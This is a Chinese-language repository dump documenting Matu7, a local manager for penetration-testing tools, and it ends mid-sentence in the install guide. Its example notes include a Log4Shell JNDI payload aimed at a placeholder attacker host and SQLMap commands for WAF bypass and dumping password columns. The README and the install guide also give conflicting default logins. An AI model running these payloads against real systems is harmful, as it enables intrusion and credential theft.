├── .DS_Store ├── README.md ├── docs ├── .DS_Store ├── examples │ └── README.md └── guide │ ├── development.md │ ├── installation.md │ ├── tool_id_management.md │ └── user_guide.md ├── matu7-linux-amd64-v2.0.1.tar.gz ├── matu7-macos-amd64-v2.0.1.zip ├── matu7-macos-arm64-v2.0.1.zip ├── matu7-windows-amd64-v2.0.1.zip └── matu7.app.zip /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tyB-or/matu7/cb0aaec68865325bbb3b198e0d668c72e13faa8f/.DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Matu7: 渗透测试工具管理平台 2 | 3 | Matu7 是一个使用 Go 和 Web 技术构建的桌面应用,旨在帮助安全专业人员和爱好者高效地管理本地的离线渗透测试工具和常用的在线资源。 4 | 5 | ## 补充: 6 | 7 | 1.初始默认密码是matu7,matu7,可以在配置文件中修改用户和密码。(端口也可以修改) 8 | 9 | 2.因为在arm的mac上编写的程序,其他平台测试不多,有bug请提交issues. 10 | 11 | 3.针对mac构建了app,使用的时候需要先进入包中双击可执行程序(可查看运行日志),生成默认配置,后续才可以双击app正常运行。(针对amd的mac,用amd版本的程序替换app里面的应该可以,前端如果有修改也只需替换前端相关文件即可) 12 | 13 | 4.命令的构造请咨询ai编写。 14 | 15 | 5.针对整理工具的场景做了大的改动(重新设计了相关逻辑),目前支持持久化,除非你新下载了工具,这个工具你可以任意移动路径和修改名字,保持配置的信息自动同步和适应。(非常实用) 16 | 17 | 6.注意:删除工具不可逆,因此删除工具时需要二次确认。 18 | 19 | 7.mac的无终端启动app:后续修改只需替换可执行程序和前端文件即可(前端文件替换的时候注意图标文件夹迁移过来即可),仓库后续只更新压缩包,app需要自行替换。 20 | 21 | 22 | 23 | ## ✨ 核心特性 24 | 25 | - **自动化配置**:首次运行自动创建工具库,无需任何手动配置,真正实现开箱即用。 26 | - **实时同步**:本地工具库的任何变动(增、删、改)都会实时反映在界面上,无需重启。 27 | - **无数据库设计**:所有配置和笔记均以文件形式存储,方便用户进行迁移、备份和版本控制。 28 | - **跨平台运行**:基于 Go 和 Web 技术,支持在 macOS, Windows, 和 Linux 上运行。 29 | - **统一化管理**:在一个简洁的界面中,集中管理您的离线工具、在线工具和网页笔记。 30 | - **安全认证**:实现了基于JWT的登录认证机制,保护您的工具库安全。 31 | 32 | ## 📚 文档 33 | 34 | - [使用指南](docs/guide/user_guide.md) - 详细的使用说明和功能介绍 35 | - [API文档](docs/api/api_reference.md) - API接口参考 36 | - [示例文档](docs/examples/README.md) - 使用示例和最佳实践 37 | - [安装指南](docs/guide/installation.md) - 详细的安装和配置说明 38 | - [开发文档](docs/guide/development.md) - 开发者指南和贡献说明 39 | - [工具ID管理](docs/guide/tool_id_management.md) - 工具ID和配置管理机制说明 40 | 41 | ## 🚀 安装与运行 42 | 43 | 1. 从项目的 Releases 页面下载适用于您操作系统的最新版本。 44 | 2. 解压下载的文件。 45 | 3. **对于 macOS / Linux 用户**: 46 | - 打开终端,进入解压后的目录。 47 | - 授予程序可执行权限:`chmod +x matu7` 48 | - 运行程序:`./matu7` 49 | 4. **对于 Windows 用户**: 50 | - 直接双击 `matu7.exe` 文件运行。 51 | 52 | 程序启动后,会自动在您的默认浏览器中打开 `http://localhost:58080`。首次运行时,程序会自动在当前目录下创建一个 `tools` 文件夹作为您的默认离线工具库。 53 | 54 | ## 📂 工具库结构 55 | 56 | 您只需按照以下结构,将您的离线工具放入由程序自动创建的 `tools` 目录中,Matu7 即可自动识别和管理。 57 | 58 | ``` 59 | /matu7/ 60 | ├── tools/ 【可以在系统中修改工具库路径】 61 | │ ├── 扫描工具/ (<- 这是工具分类目录) 62 | │ │ ├── nmap/ (<- 这是具体的工具目录) 63 | │ │ │ └── nmap (工具的可执行文件等) 64 | │ │ └── masscan/ 65 | │ │ └── ... 66 | │ └── 漏洞利用/ 67 | │ ├── metasploit/ 68 | │ └── ... 69 | ├── notes/ (<- 笔记存储目录) 70 | │ ├── offline_tools/ (<- 离线工具笔记) 71 | │ └── web_tools/ (<- 网页工具笔记) 72 | ├── public/ (<- 前端资源) 73 | │ ├── icons/ 74 | │ │ ├── offline/ (<- 离线工具图标) 75 | │ │ └── websites/ (<- 网页工具图标) 76 | │ └── ... 77 | └── ... 78 | ``` 79 | 80 | ## 🛠️ 功能详解 81 | 82 | ### 登录认证系统 83 | 84 | - **安全登录**:采用JWT认证机制,保护您的工具库安全。 85 | - **美观界面**:精心设计的登录页面,提供良好的视觉和交互体验。 86 | - **本地资源**:所有字体和图标库资源均已本地化,确保应用稳定性和加载速度。 87 | - **便捷退出**:在主界面侧边栏顶部设置了退出登录按钮,位置符合用户习惯,操作便捷。 88 | 89 | ### 离线工具管理 90 | 91 | - **根目录管理**: 92 | - 支持多个工具库(根目录)的动态新增、切换和删除,每个库拥有独立的配置文件。 93 | - 添加新根目录时,会自动复用已有同名工具的配置,但路径信息会自适应。(注意:命令路径不会) 94 | - 点击红色垃圾箱按钮,会删除根配置文件(逻辑上不加载但是配置还在本地)。 95 | 96 | - **智能同步**: 97 | - 在不同库之间移动工具,或在库内调整工具位置,相关的配置和笔记信息会自动同步。 98 | - 系统使用唯一的工具ID(格式为`{工具名称}-{YYYYMMDD}`)跟踪工具身份。 99 | - 工具ID存储在工具目录中的隐藏文件`.{工具ID}.json`中,确保配置持久性。 100 | - 移动或重命名工具时,系统会保留原始配置,只更新路径和分类信息。 101 | - 删除工具时,配置会被备份,以便将来恢复。 102 | - 在应用运行状态下对本地工具进行增删调整,点击刷新按钮即可看到变动信息。 103 | 104 | - **分类管理**: 105 | - 分类信息关联本地工具的分类(分类文件夹的名称),点击自动切换分类视图。 106 | - 每个分类右边显示工具数量统计。 107 | - 工具开启状态下,分类名称支持修改,修改后点击刷新工具会显示变迁信息。 108 | 109 | - **自定义卡片**: 110 | - **图标**: 自动从工具官网获取或使用自定义图标,图标文件位于 `public/icons/offline`。 111 | - **信息编辑**: 可自定义工具名称、标签、描述、来源URL等。 112 | - **命令构建**: 内置文件浏览器,方便您点击复制文件路径,快速构建执行命令。 113 | - **标签系统**: 多维度管理工具,点击标签显示标签分类视图。 114 | - **使用统计**: 记录工具的使用次数和最后使用时间。 115 | - **一键操作**: 支持一键执行自定义命令、打开工具目录、编辑笔记。 116 | 117 | - **集中化笔记**: 118 | - 所有工具的笔记都集中存储在 `notes/offline_tools` 目录下,并与工具ID强关联。 119 | - 笔记文件命名格式为 `{工具ID}.txt`,确保即使工具被移动或重命名,笔记仍能保持关联。 120 | - 笔记过长会滚动,点击框外自动保存和缩回。 121 | 122 | ### 网页工具管理 123 | 124 | - **快速添加**: 125 | - URL填写后可自动获取网站图标,支持自定义分类和标签。 126 | - 输入分类会自动适应前端显示和后端配置。 127 | - 标签支持界面点击快速搜索。 128 | - 工具图标支持自定义,优化图标的选中逻辑。 129 | 130 | - **卡片式管理**: 131 | - 所有网页工具以卡片形式展示,信息直观,操作便捷。 132 | - 图标:默认从工具的网页获取,也可自定义。 133 | - 名称:可自定义,关联网页工具的笔记。 134 | - 使用次数:只统计点击打开按钮的次数。 135 | - 时间:记录创建时间和最后一次使用时间。 136 | 137 | - **信息编辑**: 138 | - 支持随时修改网页工具的各项信息,包括名称、URL、分类、标签和描述。 139 | - 修改后界面和相关配置会自适应更新。 140 | 141 | - **笔记关联**: 142 | - 每个网页工具都可以关联独立的笔记,存储在 `notes/web_tools/{工具名称}.txt`。 143 | - 点击右侧弹出笔记编辑框,笔记过长会滚动,点击框外自动保存和缩回。 144 | 145 | ### 网页笔记 146 | 147 | - **功能定位**:用于记录平时学习或复现漏洞时参考的博客文章和在线文档。 148 | - **信息管理**: 149 | - 支持添加标题、分类、工具等多维度信息。 150 | - 增加来源的自动获取和自定义功能。 151 | - 增加工具使用信息,便于后续查询复现步骤。 152 | - **快速检索**:支持通过标题、分类、工具等多维度信息进行快速搜索,帮助您迅速定位所需资料。 153 | 154 | ### 通用搜索功能 155 | 156 | - **普通搜索**: 157 | - 根据关键字模糊搜索工具的名称、描述、分类等信息。 158 | - 从工具名称、描述、分类、工具URL中进行搜索。 159 | - 清除搜索框时,恢复当前分类搜索的视图。 160 | 161 | - **标签搜索**: 162 | - 通过 `标签:xxx` 的格式,精确查找拥有特定标签的工具。 163 | - 模糊从所有标签中进行搜索。 164 | 165 | - **搜索体验**: 166 | - 友好的搜索结果反馈,直接在分类位置显示搜索依据和搜索结果。 167 | - 所有搜索框都有清除按钮,保持风格统一性。 168 | -------------------------------------------------------------------------------- /docs/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tyB-or/matu7/cb0aaec68865325bbb3b198e0d668c72e13faa8f/docs/.DS_Store -------------------------------------------------------------------------------- /docs/examples/README.md: -------------------------------------------------------------------------------- 1 | # Matu7 使用示例 2 | 3 | 本目录包含Matu7的使用示例和最佳实践,帮助您更好地利用Matu7管理渗透测试工具。 4 | 5 | ## 目录 6 | 7 | - [离线工具管理示例](#离线工具管理示例) 8 | - [网页工具管理示例](#网页工具管理示例) 9 | - [网页笔记管理示例](#网页笔记管理示例) 10 | - [工具库组织最佳实践](#工具库组织最佳实践) 11 | 12 | ## 离线工具管理示例 13 | 14 | ### 基本工具配置 15 | 16 | 以下是一些常用渗透测试工具的配置示例: 17 | 18 | #### Nmap 19 | 20 | ```json 21 | { 22 | "id": "nmap-123456", 23 | "name": "Nmap", 24 | "category": "扫描工具", 25 | "path": "/path/to/tools/扫描工具/nmap", 26 | "description": "强大的网络扫描和主机发现工具", 27 | "tags": ["扫描", "端口", "网络"], 28 | "command": "./nmap -sV -p 1-1000 ${TARGET_IP}", 29 | "url": "https://nmap.org", 30 | "icon": "nmap.png", 31 | "usage_count": 15 32 | } 33 | ``` 34 | 35 | #### Metasploit 36 | 37 | ```json 38 | { 39 | "id": "metasploit-123456", 40 | "name": "Metasploit Framework", 41 | "category": "漏洞利用", 42 | "path": "/path/to/tools/漏洞利用/metasploit", 43 | "description": "渗透测试人员必备的漏洞利用框架", 44 | "tags": ["漏洞利用", "框架", "后渗透"], 45 | "command": "./msfconsole", 46 | "url": "https://www.metasploit.com", 47 | "icon": "metasploit.png", 48 | "usage_count": 23 49 | } 50 | ``` 51 | 52 | ### 高级命令配置 53 | 54 | #### 带参数的命令 55 | 56 | ```json 57 | { 58 | "command": "python3 ${TOOL_PATH}/script.py --target ${TARGET} --port 443 --output ${TOOL_PATH}/results.txt" 59 | } 60 | ``` 61 | 62 | #### Windows特定命令 63 | 64 | ```json 65 | { 66 | "command": "powershell -ExecutionPolicy Bypass -File \"${TOOL_PATH}\\scanner.ps1\" -Target ${TARGET_IP}" 67 | } 68 | ``` 69 | 70 | #### 带环境变量的命令 71 | 72 | ```json 73 | { 74 | "command": "export PYTHONPATH=${TOOL_PATH}/lib && python3 ${TOOL_PATH}/main.py" 75 | } 76 | ``` 77 | 78 | ## 网页工具管理示例 79 | 80 | ### 常用在线工具配置 81 | 82 | #### VirusTotal 83 | 84 | ```json 85 | { 86 | "id": "virustotal-123456", 87 | "name": "VirusTotal", 88 | "url": "https://www.virustotal.com", 89 | "description": "文件和URL的多引擎恶意软件扫描服务", 90 | "category": "安全分析", 91 | "tags": ["恶意软件", "扫描", "分析"], 92 | "usage_count": 42 93 | } 94 | ``` 95 | 96 | #### Shodan 97 | 98 | ```json 99 | { 100 | "id": "shodan-123456", 101 | "name": "Shodan", 102 | "url": "https://www.shodan.io", 103 | "description": "互联网设备搜索引擎", 104 | "category": "情报收集", 105 | "tags": ["搜索引擎", "资产发现", "情报"], 106 | "usage_count": 38 107 | } 108 | ``` 109 | 110 | ### 分类组织示例 111 | 112 | ``` 113 | 安全分析 114 | ├── VirusTotal 115 | ├── Any.Run 116 | └── Hybrid Analysis 117 | 情报收集 118 | ├── Shodan 119 | ├── Censys 120 | └── ZoomEye 121 | 漏洞情报 122 | ├── ExploitDB 123 | ├── CVE Details 124 | └── NIST NVD 125 | ``` 126 | 127 | ## 网页笔记管理示例 128 | 129 | ### 漏洞复现笔记 130 | 131 | ```json 132 | { 133 | "id": "cve-2021-44228-123456", 134 | "title": "Log4Shell (CVE-2021-44228) 漏洞复现", 135 | "url": "https://example.com/blog/log4shell-analysis", 136 | "source": "安全博客", 137 | "tool": "JNDI-Exploit-Kit", 138 | "tags": ["Java", "RCE", "Log4j"], 139 | "note": "# Log4Shell 漏洞复现步骤\n\n## 环境准备\n1. 搭建易受攻击的Java应用\n2. 配置JNDI-Exploit-Kit\n\n## 攻击步骤\n1. 启动JNDI-Exploit-Kit: `java -jar JNDI-Exploit-Kit.jar -A 攻击者IP`\n2. 构造Payload: `${jndi:ldap://攻击者IP:1389/Basic/Command/Base64/命令}`\n3. 将Payload发送到目标应用\n\n## 检测方法\n1. 查看日志中的JNDI查询\n2. 监控异常的LDAP/RMI连接\n\n## 修复建议\n1. 更新Log4j到最新版本\n2. 设置系统属性: `-Dlog4j2.formatMsgNoLookups=true`" 140 | } 141 | ``` 142 | 143 | ### 工具使用笔记 144 | 145 | ```json 146 | { 147 | "id": "sqlmap-tutorial-123456", 148 | "title": "SQLMap高级用法笔记", 149 | "url": "https://example.com/tutorials/sqlmap-advanced", 150 | "source": "安全教程网站", 151 | "tool": "SQLMap", 152 | "tags": ["SQL注入", "自动化", "数据库"], 153 | "note": "# SQLMap高级用法\n\n## 绕过WAF的技巧\n- 使用`--tamper`脚本组合: `sqlmap -u \"URL\" --tamper=space2comment,charencode`\n- 调整请求延迟: `--delay=2 --timeout=5`\n\n## 自定义注入点\n- 使用星号标记: `sqlmap -u \"URL/id=*\"`\n- POST数据中的注入点: `sqlmap -u \"URL\" --data=\"id=*&user=admin\"`\n\n## 提取数据技巧\n- 获取特定表的内容: `--tables -T users --dump`\n- 条件查询: `--dump -T users -C username,password --where=\"username='admin'\"`\n\n## 高级选项\n- 使用代理链: `--proxy=http://proxy1:8080 --proxy-cred=user:pass`\n- 自定义User-Agent: `--user-agent=\"Mozilla/5.0...\"`" 154 | } 155 | ``` 156 | 157 | ## 工具库组织最佳实践 158 | 159 | ### 目录结构建议 160 | 161 | 为了最大化Matu7的自动识别功能,建议按照以下结构组织您的工具库: 162 | 163 | ``` 164 | /tools/ 165 | ├── 信息收集/ 166 | │ ├── 子域名扫描/ 167 | │ │ ├── subfinder/ 168 | │ │ ├── amass/ 169 | │ │ └── sublist3r/ 170 | │ ├── 端口扫描/ 171 | │ │ ├── nmap/ 172 | │ │ ├── masscan/ 173 | │ │ └── rustscan/ 174 | │ └── 指纹识别/ 175 | │ ├── whatweb/ 176 | │ └── wappalyzer-cli/ 177 | ├── 漏洞扫描/ 178 | │ ├── 综合扫描器/ 179 | │ │ ├── nikto/ 180 | │ │ └── nuclei/ 181 | │ ├── Web漏洞扫描/ 182 | │ │ ├── sqlmap/ 183 | │ │ └── xsser/ 184 | │ └── 特定漏洞/ 185 | │ ├── log4j-scan/ 186 | │ └── heartbleed-scanner/ 187 | ├── 漏洞利用/ 188 | │ ├── 综合框架/ 189 | │ │ ├── metasploit/ 190 | │ │ └── beef/ 191 | │ └── 特定漏洞利用/ 192 | │ ├── eternalblue/ 193 | │ └── shellshock/ 194 | └── 后渗透/ 195 | ├── 权限提升/ 196 | │ ├── linux-smart-enumeration/ 197 | │ └── wesng/ 198 | ├── 横向移动/ 199 | │ ├── mimikatz/ 200 | │ └── bloodhound/ 201 | └── 数据收集/ 202 | ├── lazagne/ 203 | └── loot-collector/ 204 | ``` 205 | 206 | ### 标签使用建议 207 | 208 | 为了更有效地组织和搜索工具,建议使用以下类型的标签: 209 | 210 | 1. **工具类型标签**:`扫描器`、`框架`、`利用工具`、`枚举工具`等 211 | 2. **技术领域标签**:`Web安全`、`网络安全`、`无线安全`、`移动安全`等 212 | 3. **漏洞类型标签**:`SQL注入`、`XSS`、`命令注入`、`缓冲区溢出`等 213 | 4. **目标系统标签**:`Windows`、`Linux`、`AWS`、`Docker`等 214 | 5. **编程语言标签**:`Python`、`Go`、`Ruby`、`C++`等 215 | 216 | ### 命令模板 217 | 218 | 以下是一些常用命令模板,可以根据需要进行调整: 219 | 220 | #### 基本命令模板 221 | 222 | ``` 223 | # 可执行文件 224 | ${TOOL_PATH}/工具名 [参数] 225 | 226 | # Python脚本 227 | python3 ${TOOL_PATH}/script.py [参数] 228 | 229 | # Ruby脚本 230 | ruby ${TOOL_PATH}/script.rb [参数] 231 | 232 | # Shell脚本 233 | bash ${TOOL_PATH}/script.sh [参数] 234 | 235 | # PowerShell脚本 (Windows) 236 | powershell -ExecutionPolicy Bypass -File "${TOOL_PATH}\script.ps1" [参数] 237 | ``` 238 | 239 | #### 带目标参数的命令模板 240 | 241 | ``` 242 | ${TOOL_PATH}/工具名 -t ${TARGET_HOST} -p ${TARGET_PORT} -o ${TOOL_PATH}/results.txt 243 | ``` 244 | 245 | #### 带用户交互的命令模板 246 | 247 | ``` 248 | cd ${TOOL_PATH} && ./工具名 --interactive 249 | ``` -------------------------------------------------------------------------------- /docs/guide/development.md: -------------------------------------------------------------------------------- 1 | # Matu7 开发者指南 2 | 3 | 本文档提供了Matu7项目的开发指南,包括项目结构、环境搭建、编译打包和贡献指南。 4 | 5 | ## 项目结构 6 | 7 | Matu7项目采用Go语言开发后端,使用HTML/CSS/JavaScript开发前端,整体结构如下: 8 | 9 | ``` 10 | /matu7/ 11 | ├── config/ # 配置文件目录 12 | ├── docs/ # 文档目录 13 | │ ├── api/ # API文档 14 | │ ├── examples/ # 示例文档 15 | │ └── guide/ # 使用指南 16 | ├── handlers/ # HTTP请求处理器 17 | │ ├── auth.go # 认证处理器 18 | │ ├── offline_tools.go # 离线工具处理器 19 | │ ├── web_notes.go # 网页笔记处理器 20 | │ └── web_tools.go # 网页工具处理器 21 | ├── main.go # 程序入口 22 | ├── models/ # 数据模型 23 | │ ├── offline_tool.go # 离线工具模型 24 | │ ├── web_note.go # 网页笔记模型 25 | │ └── web_tool.go # 网页工具模型 26 | ├── notes/ # 笔记存储目录 27 | ├── public/ # 前端资源 28 | │ ├── css/ # 样式文件 29 | │ ├── icons/ # 图标文件 30 | │ ├── img/ # 图片资源 31 | │ ├── js/ # JavaScript文件 32 | │ ├── index.html # 主页面 33 | │ └── login.html # 登录页面 34 | ├── routes/ # 路由配置 35 | │ ├── offline_tools.go # 离线工具路由 36 | │ └── routes.go # 主路由配置 37 | ├── services/ # 业务逻辑服务 38 | │ ├── auth_service.go # 认证服务 39 | │ ├── offline_tools.go # 离线工具服务 40 | │ ├── proc_other.go # 非Windows平台进程处理 41 | │ ├── proc_windows.go # Windows平台进程处理 42 | │ ├── web_notes.go # 网页笔记服务 43 | │ └── web_tools.go # 网页工具服务 44 | └── utils/ # 工具函数 45 | ├── file.go # 文件操作工具 46 | └── scanner.go # 扫描工具 47 | ``` 48 | 49 | ## 开发环境搭建 50 | 51 | ### 前提条件 52 | 53 | - Go 1.16或更高版本 54 | - Git 55 | - 任意代码编辑器(推荐:VSCode、GoLand) 56 | 57 | ### 环境设置 58 | 59 | 1. 安装Go: 60 | - 访问[Go官方网站](https://golang.org/dl/)下载并安装适合您操作系统的Go版本 61 | - 验证安装:`go version` 62 | 63 | 2. 克隆代码仓库: 64 | ```bash 65 | git clone https://github.com/用户名/matu7.git 66 | cd matu7 67 | ``` 68 | 69 | 3. 安装依赖: 70 | ```bash 71 | go mod download 72 | ``` 73 | 74 | ## 编译与运行 75 | 76 | ### 本地开发运行 77 | 78 | ```bash 79 | go run main.go 80 | ``` 81 | 82 | ### 编译可执行文件 83 | 84 | ```bash 85 | # 当前平台 86 | go build -o matu7 main.go 87 | 88 | # Windows平台 89 | GOOS=windows GOARCH=amd64 go build -o matu7.exe main.go 90 | 91 | # macOS平台 92 | GOOS=darwin GOARCH=amd64 go build -o matu7-darwin main.go 93 | 94 | # Linux平台 95 | GOOS=linux GOARCH=amd64 go build -o matu7-linux main.go 96 | ``` 97 | 98 | ### 跨平台打包 99 | 100 | Matu7支持跨平台打包,可以在一个平台上构建适用于多个平台的可执行文件: 101 | 102 | ```bash 103 | # 创建发布目录 104 | mkdir -p release 105 | 106 | # Windows (64位) 107 | GOOS=windows GOARCH=amd64 go build -o release/matu7-windows-amd64.exe main.go 108 | 109 | # macOS (Intel) 110 | GOOS=darwin GOARCH=amd64 go build -o release/matu7-darwin-amd64 main.go 111 | 112 | # macOS (Apple Silicon) 113 | GOOS=darwin GOARCH=arm64 go build -o release/matu7-darwin-arm64 main.go 114 | 115 | # Linux (64位) 116 | GOOS=linux GOARCH=amd64 go build -o release/matu7-linux-amd64 main.go 117 | 118 | # 复制必要的资源文件到发布目录 119 | cp -r public release/ 120 | mkdir -p release/config 121 | ``` 122 | 123 | ## 代码规范 124 | 125 | ### Go代码规范 126 | 127 | - 遵循[Effective Go](https://golang.org/doc/effective_go)中的建议 128 | - 使用`gofmt`或`goimports`格式化代码 129 | - 添加适当的注释,特别是导出的函数和类型 130 | - 错误处理:检查所有错误,提供有意义的错误信息 131 | - 使用`context`处理请求的取消和超时 132 | 133 | ### 前端代码规范 134 | 135 | - HTML:使用语义化标签,确保可访问性 136 | - CSS:使用清晰的命名约定,避免过度嵌套 137 | - JavaScript:使用ES6+语法,避免全局变量,模块化代码 138 | 139 | ## 核心模块说明 140 | 141 | ### 认证模块 142 | 143 | 认证模块位于`handlers/auth.go`和`services/auth_service.go`,实现了基于JWT的认证机制。 144 | 145 | 主要功能: 146 | - 用户登录验证 147 | - JWT令牌生成与验证 148 | - 认证中间件 149 | 150 | ### 离线工具模块 151 | 152 | 离线工具模块主要由以下文件组成: 153 | - `models/offline_tool.go`:定义离线工具数据模型 154 | - `handlers/offline_tools.go`:处理离线工具相关的HTTP请求 155 | - `services/offline_tools.go`:实现离线工具的业务逻辑 156 | - `services/proc_windows.go`和`services/proc_other.go`:处理不同平台下的进程执行 157 | 158 | 主要功能: 159 | - 扫描本地工具库 160 | - 管理工具信息 161 | - 执行工具命令 162 | - 管理工具笔记 163 | 164 | ### 网页工具模块 165 | 166 | 网页工具模块主要由以下文件组成: 167 | - `models/web_tool.go`:定义网页工具数据模型 168 | - `handlers/web_tools.go`:处理网页工具相关的HTTP请求 169 | - `services/web_tools.go`:实现网页工具的业务逻辑 170 | 171 | 主要功能: 172 | - 管理网页工具信息 173 | - 获取网站图标 174 | - 管理工具笔记 175 | - 打开网页工具 176 | 177 | ### 网页笔记模块 178 | 179 | 网页笔记模块主要由以下文件组成: 180 | - `models/web_note.go`:定义网页笔记数据模型 181 | - `handlers/web_notes.go`:处理网页笔记相关的HTTP请求 182 | - `services/web_notes.go`:实现网页笔记的业务逻辑 183 | 184 | 主要功能: 185 | - 管理网页笔记 186 | - 搜索笔记内容 187 | - 打开笔记来源URL 188 | 189 | ## 扩展开发 190 | 191 | ### 添加新的工具类型 192 | 193 | 如果您想添加新的工具类型,需要完成以下步骤: 194 | 195 | 1. 在`models`目录下创建新的数据模型 196 | 2. 在`services`目录下实现相关的业务逻辑 197 | 3. 在`handlers`目录下添加HTTP请求处理器 198 | 4. 在`routes/routes.go`中注册新的路由 199 | 5. 更新前端界面以支持新的工具类型 200 | 201 | ### 修改前端界面 202 | 203 | 前端界面文件位于`public`目录下: 204 | 205 | 1. `public/index.html`:主界面HTML 206 | 2. `public/login.html`:登录界面HTML 207 | 3. `public/css/`:样式文件 208 | 4. `public/js/`:JavaScript文件 209 | 210 | 修改这些文件以自定义界面外观和行为。 211 | 212 | ### 添加新的API端点 213 | 214 | 添加新的API端点需要完成以下步骤: 215 | 216 | 1. 在相应的`handlers`文件中添加新的处理函数 217 | 2. 在`routes/routes.go`中注册新的路由 218 | 3. 更新API文档以反映新的端点 219 | 220 | ## 贡献指南 221 | 222 | 我们欢迎所有形式的贡献,包括但不限于: 223 | 224 | - 代码贡献 225 | - 文档改进 226 | - 问题报告 227 | - 功能建议 228 | 229 | ### 提交Pull Request 230 | 231 | 1. Fork项目仓库 232 | 2. 创建您的功能分支:`git checkout -b feature/amazing-feature` 233 | 3. 提交您的更改:`git commit -m 'Add some amazing feature'` 234 | 4. 推送到分支:`git push origin feature/amazing-feature` 235 | 5. 提交Pull Request 236 | 237 | ### 代码审查标准 238 | 239 | - 代码必须通过所有测试 240 | - 代码应遵循项目的代码规范 241 | - 新功能应包含适当的文档和测试 242 | - 提交信息应清晰描述更改内容 243 | 244 | ## 测试 245 | 246 | ### 运行测试 247 | 248 | ```bash 249 | # 运行所有测试 250 | go test ./... 251 | 252 | # 运行特定包的测试 253 | go test ./services 254 | 255 | # 运行特定测试 256 | go test -run TestAuthService ./services 257 | ``` 258 | 259 | ### 添加新测试 260 | 261 | 添加新功能时,请同时添加相应的测试: 262 | 263 | 1. 在相应的包目录下创建`*_test.go`文件 264 | 2. 实现测试函数,函数名应以`Test`开头 265 | 3. 使用Go的标准测试库编写测试用例 266 | 267 | ## 发布流程 268 | 269 | 1. 更新版本号: 270 | - 在`main.go`文件中更新版本号 271 | - 遵循[语义化版本](https://semver.org/)规范 272 | 273 | 2. 更新CHANGELOG: 274 | - 记录所有重要的更改、新功能和修复 275 | 276 | 3. 构建发布版本: 277 | - 按照上述"跨平台打包"部分的说明构建各平台的可执行文件 278 | 279 | 4. 创建GitHub Release: 280 | - 标记版本号 281 | - 上传构建的可执行文件 282 | - 添加发布说明,包括更改日志 283 | 284 | ## 常见问题 285 | 286 | ### 编译错误 287 | 288 | **问题**:编译时出现依赖相关错误 289 | **解决方案**:运行`go mod tidy`更新依赖,然后重新编译 290 | 291 | ### 跨平台兼容性问题 292 | 293 | **问题**:在不同平台上行为不一致 294 | **解决方案**:检查平台特定代码(如`proc_windows.go`和`proc_other.go`),确保正确处理平台差异 295 | 296 | ### 资源文件路径问题 297 | 298 | **问题**:程序无法找到资源文件 299 | **解决方案**:确保资源文件(如`public`目录)与可执行文件位于同一目录,或者修改代码以支持相对路径 -------------------------------------------------------------------------------- /docs/guide/installation.md: -------------------------------------------------------------------------------- 1 | # Matu7 安装指南 2 | 3 | ## 系统要求 4 | 5 | ### 硬件要求 6 | - CPU:1GHz及以上处理器 7 | - 内存:2GB及以上 8 | - 硬盘:500MB可用空间 9 | 10 | ### 软件要求 11 | - **操作系统**: 12 | - Windows 7/8/10/11 13 | - macOS 10.13及以上版本 14 | - Linux(主流发行版如Ubuntu、Debian、CentOS等) 15 | - **浏览器**:支持现代浏览器(Chrome、Firefox、Edge等) 16 | 17 | ## 下载与安装 18 | 19 | ### Windows 系统 20 | 21 | 1. 从项目的 [Releases](https://github.com/用户名/matu7/releases) 页面下载最新的Windows版本(`matu7-windows-amd64.zip`) 22 | 2. 解压下载的文件到您选择的目录 23 | 3. 双击 `matu7.exe` 文件启动程序 24 | 4. 程序将自动在默认浏览器中打开 `http://localhost:58080` 25 | 26 | ### macOS 系统 27 | 28 | 1. 从项目的 [Releases](https://github.com/用户名/matu7/releases) 页面下载最新的macOS版本(`matu7-darwin-amd64.zip`) 29 | 2. 解压文件到您选择的目录 30 | 3. 打开终端,进入解压后的目录 31 | 4. 执行命令授予程序可执行权限: 32 | ```bash 33 | chmod +x matu7 34 | ``` 35 | 5. 执行命令启动程序: 36 | ```bash 37 | ./matu7 38 | ``` 39 | 6. 程序将自动在默认浏览器中打开 `http://localhost:58080` 40 | 41 | ### Linux 系统 42 | 43 | 1. 从项目的 [Releases](https://github.com/用户名/matu7/releases) 页面下载最新的Linux版本(`matu7-linux-amd64.tar.gz`) 44 | 2. 解压文件到您选择的目录: 45 | ```bash 46 | tar -xzf matu7-linux-amd64.tar.gz 47 | ``` 48 | 3. 进入解压后的目录: 49 | ```bash 50 | cd matu7 51 | ``` 52 | 4. 执行命令授予程序可执行权限: 53 | ```bash 54 | chmod +x matu7 55 | ``` 56 | 5. 执行命令启动程序: 57 | ```bash 58 | ./matu7 59 | ``` 60 | 6. 程序将自动在默认浏览器中打开 `http://localhost:58080` 61 | 62 | ## 首次运行配置 63 | 64 | ### 初始设置 65 | 66 | 1. 首次启动Matu7后,程序会自动在当前目录下创建以下文件夹: 67 | - `config`:存储配置文件 68 | - `notes`:存储笔记文件 69 | - `tools`:默认工具库目录 70 | 71 | 2. 浏览器将自动打开登录页面(`http://localhost:58080/login`) 72 | 73 | 3. 使用默认用户名和密码登录: 74 | - 用户名:`admin` 75 | - 密码:`admin` 76 | 77 | 4. 首次登录后,强烈建议修改默认密码(目前需要手动修改配置文件) 78 | 79 | ### 工具库设置 80 | 81 | Matu7会自动将当前目录下的`tools`文件夹设置为默认工具库。如果您希望使用其他目录作为工具库,可以通过以下步骤添加: 82 | 83 | 1. 登录系统后,点击界面上方的"添加根目录"按钮 84 | 2. 在弹出的对话框中输入或选择新的工具库根目录路径 85 | 3. 点击"确定"按钮,系统将自动扫描并加载该目录下的工具 86 | 87 | ### 工具库结构 88 | 89 | 为了让Matu7正确识别您的工具,请按照以下结构组织您的工具库: 90 | 91 | ``` 92 | /tools/ 93 | ├── 分类1/ (<- 这是工具分类目录) 94 | │ ├── 工具1/ (<- 这是具体的工具目录) 95 | │ │ └── ... (工具的可执行文件等) 96 | │ └── 工具2/ 97 | │ └── ... 98 | └── 分类2/ 99 | ├── 工具3/ 100 | └── ... 101 | ``` 102 | 103 | 例如: 104 | 105 | ``` 106 | /tools/ 107 | ├── 扫描工具/ 108 | │ ├── nmap/ 109 | │ │ └── nmap.exe 110 | │ └── masscan/ 111 | │ └── masscan.exe 112 | └── 漏洞利用/ 113 | ├── metasploit/ 114 | └── ... 115 | ``` 116 | 117 | ## 端口配置 118 | 119 | Matu7默认使用`58080`端口。如果此端口已被占用,您可以通过以下方式修改: 120 | 121 | 1. 打开`main.go`文件 122 | 2. 找到以下代码行: 123 | ```go 124 | port := "58080" 125 | ``` 126 | 3. 